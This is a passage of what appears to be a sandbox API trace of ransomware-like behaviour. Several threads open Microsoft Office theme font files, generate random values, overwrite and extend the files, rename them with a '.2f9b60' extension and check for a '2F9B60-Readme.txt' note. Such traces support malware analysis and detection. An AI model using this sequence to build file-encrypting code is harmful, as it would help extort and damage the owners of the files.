_Dest=0x1b7d8262, _Format="%c%c" | out: _Dest="a4") returned 2 [0200.103] sprintf (in: _Dest=0x1b7d8264, _Format="%c%c" | out: _Dest="64") returned 2 [0200.104] sprintf (in: _Dest=0x1b7d8266, _Format="%c%c" | out: _Dest="d9") returned 2 [0200.104] sprintf (in: _Dest=0x1b7d8268, _Format="%c%c" | out: _Dest="b7") returned 2 [0200.104] sprintf (in: _Dest=0x1b7d826a, _Format="%c%c" | out: _Dest="27") returned 2 [0200.104] RtlInitAnsiString (in: DestinationString=0x3fc6fc28, SourceString="719e7abe9004d6d446d02d9cf1ca5a7286a464d9b727" | out: DestinationString="719e7abe9004d6d446d02d9cf1ca5a7286a464d9b727") [0200.104] RtlAnsiStringToUnicodeString (in: DestinationString=0x3fc6fbf8, SourceString="719e7abe9004d6d446d02d9cf1ca5a7286a464d9b727", AllocateDestinationString=1 | out: DestinationString="719e7abe9004d6d446d02d9cf1ca5a7286a464d9b727") returned 0x0 [0200.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a02b0 [0200.105] wcscat (in: _Dest=0x431f3d20, _Source="719e7abe900" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900" [0200.105] wcscat (in: _Dest=0x431f3d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900.2f9b60" [0200.105] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900.2f9b60", NtPathName=0x3fc6fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\719e7abe900.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.105] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x4205fab0 [0226.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205fab0) returned 1 [0226.394] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f7d00) returned 1 [0226.394] NtQueryInformationFile (in: FileHandle=0x1054, IoStatusBlock=0x3fc6fc38, FileInformation=0x3fc6fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3fc6fc38, FileInformation=0x3fc6fc48) returned 0x0 [0226.394] NtSetInformationFile (FileHandle=0x1054, IoStatusBlock=0x3fc6fc38, FileInformation=0x3fc6fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0231.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3d20) returned 1 [0231.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a02b0) returned 1 [0231.416] FlushFileBuffers (hFile=0x1054) returned 1 [0238.294] CloseHandle (hObject=0x1054) returned 1 [0241.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431f4e00 [0241.778] wcscpy (in: _Dest=0x431f4e00, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0241.778] wcscat (in: _Dest=0x431f4e00, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0241.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0241.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4e00) returned 1 [0241.779] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acf20) returned 1 Thread: id = 1434 os_tid = 0x18bc [0119.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml")) returned 0x20 [0120.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml", dwFileAttributes=0x20) returned 1 [0120.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1050 [0120.986] GetFileSizeEx (in: hFile=0x1050, lpFileSize=0x4017fc80 | out: lpFileSize=0x4017fc80*=3674) returned 1 [0120.986] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0xe56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.986] ReadFile (in: hFile=0x1050, lpBuffer=0x4017fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4017fc48, lpOverlapped=0x0 | out: lpBuffer=0x4017fc00*, lpNumberOfBytesRead=0x4017fc48*=0x4, lpOverlapped=0x0) returned 1 [0121.440] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84f0 [0121.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8580 [0121.441] NtQuerySystemTime (in: CurrentTime=0x4017fb40 | out: CurrentTime=0x4017fb40*=132462177268354000) returned 0x0 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x6b145a06 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x6706ec4e [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x5fdcf957 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x16a84c9c [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x51c78234 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x71dcd30c [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0xab5b6df [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x699263d9 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x52567ac4 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x61f616d5 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x3a3f3014 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x1f1e2133 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x5db3a9eb [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x37f8dddf [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x186e238b [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x557295ad [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x65574777 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x55cd1d42 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x62f6cd57 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x1080660e [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x6bd433df [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x17990c5d [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x48417ffa [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x47a0bc3f [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x724b084e [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x3de2e844 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x6ceed88 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x22aee2f9 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x186e238b [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x20b2576c [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x5b08b5c6 [0121.441] RtlRandomEx (in: Seed=0x4017fb30 | out: Seed=0x4017fb30) returned 0x555fcd3b [0124.462] ReadFile (in: hFile=0x1050, lpBuffer=0x41b6e130, nNumberOfBytesToRead=0xe5a, lpNumberOfBytesRead=0x4017fb30, lpOverlapped=0x0 | out: lpBuffer=0x41b6e130*, lpNumberOfBytesRead=0x4017fb30*=0xe5a, lpOverlapped=0x0) returned 1 [0124.462] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.462] WriteFile (in: hFile=0x1050, lpBuffer=0x1cee5a30*, nNumberOfBytesToWrite=0xe5a, lpNumberOfBytesWritten=0x4017fb34, lpOverlapped=0x0 | out: lpBuffer=0x1cee5a30*, lpNumberOfBytesWritten=0x4017fb34*=0xe5a, lpOverlapped=0x0) returned 1 [0124.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0124.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0124.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263650) returned 1 [0124.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cee5a30) returned 1 [0124.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6e130) returned 1 [0124.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504b90) returned 1 [0124.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0124.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0124.528] SetFilePointerEx (in: hFile=0x1050, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.528] WriteFile (in: hFile=0x1050, lpBuffer=0x169a20*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x4017fc50, lpOverlapped=0x0 | out: lpBuffer=0x169a20*, lpNumberOfBytesWritten=0x4017fc50*=0x104, lpOverlapped=0x0) returned 1 [0124.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0124.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b7d5a50 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8640 [0124.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8640) returned 1 [0124.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1ced8640 [0124.586] sprintf (in: _Dest=0x1ced8640, _Format="%c%c" | out: _Dest="07") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8642, _Format="%c%c" | out: _Dest="94") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8644, _Format="%c%c" | out: _Dest="db") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8646, _Format="%c%c" | out: _Dest="0f") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8648, _Format="%c%c" | out: _Dest="9f") returned 2 [0124.586] sprintf (in: _Dest=0x1ced864a, _Format="%c%c" | out: _Dest="a1") returned 2 [0124.586] sprintf (in: _Dest=0x1ced864c, _Format="%c%c" | out: _Dest="f9") returned 2 [0124.586] sprintf (in: _Dest=0x1ced864e, _Format="%c%c" | out: _Dest="35") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8650, _Format="%c%c" | out: _Dest="61") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8652, _Format="%c%c" | out: _Dest="89") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8654, _Format="%c%c" | out: _Dest="d1") returned 2 [0124.586] sprintf (in: _Dest=0x1ced8656, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.587] sprintf (in: _Dest=0x1ced8658, _Format="%c%c" | out: _Dest="4d") returned 2 [0124.587] sprintf (in: _Dest=0x1ced865a, _Format="%c%c" | out: _Dest="4b") returned 2 [0124.587] sprintf (in: _Dest=0x1ced865c, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.587] sprintf (in: _Dest=0x1ced865e, _Format="%c%c" | out: _Dest="21") returned 2 [0124.587] sprintf (in: _Dest=0x1ced8660, _Format="%c%c" | out: _Dest="b0") returned 2 [0124.587] sprintf (in: _Dest=0x1ced8662, _Format="%c%c" | out: _Dest="6b") returned 2 [0124.587] RtlInitAnsiString (in: DestinationString=0x4017fcc8, SourceString="0794db0f9fa1f9356189d1d64d4be321b06b" | out: DestinationString="0794db0f9fa1f9356189d1d64d4be321b06b") [0124.587] RtlAnsiStringToUnicodeString (in: DestinationString=0x4017fc98, SourceString="0794db0f9fa1f9356189d1d64d4be321b06b", AllocateDestinationString=1 | out: DestinationString="0794db0f9fa1f9356189d1d64d4be321b06b") returned 0x0 [0124.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9c550 [0124.587] wcscat (in: _Dest=0x202ac840, _Source="0794db0f9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9" [0124.587] wcscat (in: _Dest=0x202ac840, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9.2f9b60" [0124.587] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9.2f9b60", NtPathName=0x4017fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\0794db0f9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0124.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x1198c0 [0124.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0124.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47780) returned 1 [0124.778] NtQueryInformationFile (in: FileHandle=0x1050, IoStatusBlock=0x4017fcd8, FileInformation=0x4017fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4017fcd8, FileInformation=0x4017fce8) returned 0x0 [0124.778] NtSetInformationFile (FileHandle=0x1050, IoStatusBlock=0x4017fcd8, FileInformation=0x4017fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac840) returned 1 [0124.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c550) returned 1 [0124.958] FlushFileBuffers (hFile=0x1050) returned 1 [0125.039] CloseHandle (hObject=0x1050) returned 1 [0125.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad340 [0125.041] wcscpy (in: _Dest=0x202ad340, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\" [0125.041] wcscat (in: _Dest=0x202ad340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" [0125.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\2f9b60-readme.txt")) returned 0x20 [0125.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad340) returned 1 [0125.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b00b0) returned 1 Thread: id = 1435 os_tid = 0x18c0 [0119.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml")) returned 0x20 [0120.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml", dwFileAttributes=0x20) returned 1 [0120.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x104c [0120.989] GetFileSizeEx (in: hFile=0x104c, lpFileSize=0x4033f6e0 | out: lpFileSize=0x4033f6e0*=3821) returned 1 [0120.989] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0xee9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.989] ReadFile (in: hFile=0x104c, lpBuffer=0x4033f660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4033f6a8, lpOverlapped=0x0 | out: lpBuffer=0x4033f660*, lpNumberOfBytesRead=0x4033f6a8*=0x4, lpOverlapped=0x0) returned 1 [0121.414] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6c0 [0121.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82e0 [0121.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8760 [0121.415] NtQuerySystemTime (in: CurrentTime=0x4033f5a0 | out: CurrentTime=0x4033f5a0*=132462177268198000) returned 0x0 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x3ec2c079 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x5473a98b [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x6da034ba [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x47a78b7b [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x23058029 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0xfaea3f2 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x4c8c8c4e [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x2d421091 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x31d3807e [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x5a57f352 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x15abf382 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x74507766 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x626298bd [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x2d00f9a5 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x53f37f5e [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x7b5c3fca [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x358d4b3f [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x21c08580 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x34f7c4cd [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0xfde13f2 [0121.415] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x48cbb99 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x1fb255b0 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x7f439191 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x30142646 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x6ea09db [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x76f648b5 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x3f392414 [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x1db4770c [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x3241c52b [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x2b2de66b [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x1de4a42d [0121.416] RtlRandomEx (in: Seed=0x4033f590 | out: Seed=0x4033f590) returned 0x24bd4538 [0124.460] ReadFile (in: hFile=0x104c, lpBuffer=0x41b62d00, nNumberOfBytesToRead=0xeed, lpNumberOfBytesRead=0x4033f590, lpOverlapped=0x0 | out: lpBuffer=0x41b62d00*, lpNumberOfBytesRead=0x4033f590*=0xeed, lpOverlapped=0x0) returned 1 [0124.460] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.460] WriteFile (in: hFile=0x104c, lpBuffer=0x41b485a0*, nNumberOfBytesToWrite=0xeed, lpNumberOfBytesWritten=0x4033f594, lpOverlapped=0x0 | out: lpBuffer=0x41b485a0*, lpNumberOfBytesWritten=0x4033f594*=0xeed, lpOverlapped=0x0) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260950 [0124.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638f0 [0124.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638f0) returned 1 [0124.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b485a0) returned 1 [0124.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b62d00) returned 1 [0124.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504a10) returned 1 [0124.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420590b0) returned 1 [0124.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202638f0 [0124.521] SetFilePointerEx (in: hFile=0x104c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.521] WriteFile (in: hFile=0x104c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4033f6b0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x4033f6b0*=0x106, lpOverlapped=0x0) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97a30 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504410 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0124.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8670) returned 1 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8670 [0124.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0124.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0124.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504410) returned 1 [0124.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97a30) returned 1 [0124.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cda04f0 [0124.576] sprintf (in: _Dest=0x1cda04f0, _Format="%c%c" | out: _Dest="41") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04f2, _Format="%c%c" | out: _Dest="e3") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04f4, _Format="%c%c" | out: _Dest="03") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04f6, _Format="%c%c" | out: _Dest="65") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04f8, _Format="%c%c" | out: _Dest="e6") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04fa, _Format="%c%c" | out: _Dest="f7") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04fc, _Format="%c%c" | out: _Dest="d9") returned 2 [0124.576] sprintf (in: _Dest=0x1cda04fe, _Format="%c%c" | out: _Dest="e4") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0500, _Format="%c%c" | out: _Dest="25") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0502, _Format="%c%c" | out: _Dest="e0") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0504, _Format="%c%c" | out: _Dest="85") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0506, _Format="%c%c" | out: _Dest="61") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0508, _Format="%c%c" | out: _Dest="ce") returned 2 [0124.576] sprintf (in: _Dest=0x1cda050a, _Format="%c%c" | out: _Dest="75") returned 2 [0124.576] sprintf (in: _Dest=0x1cda050c, _Format="%c%c" | out: _Dest="c4") returned 2 [0124.576] sprintf (in: _Dest=0x1cda050e, _Format="%c%c" | out: _Dest="b8") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0510, _Format="%c%c" | out: _Dest="00") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0512, _Format="%c%c" | out: _Dest="1e") returned 2 [0124.576] sprintf (in: _Dest=0x1cda0514, _Format="%c%c" | out: _Dest="63") returned 2 